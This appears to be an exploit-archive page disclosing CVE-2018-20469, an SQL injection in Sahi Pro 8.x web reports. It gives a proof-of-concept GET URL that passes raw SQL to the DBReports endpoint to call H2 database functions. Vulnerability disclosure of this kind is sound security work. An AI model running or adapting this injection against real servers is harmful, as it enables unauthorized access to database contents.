Sahi pro 8.x sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-06-18 | Type : webapps | Platform : multiple
This exploit / vulnerability Sahi pro 8.x sql injection is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Sahi pro ( <= 8.x ) sensitive information disclosure by SQL injection.
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20469
# POC-URL : https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/

Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A parameter in the web reports module is vulnerable to SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.


POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


# here sql query is passed directly as part of GET request which can be modified to run standard h2 database functions. in the following POC , "memory_used()" function is injected , which is reflected in "status" column of reports page.

http://<ip>:<port>/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS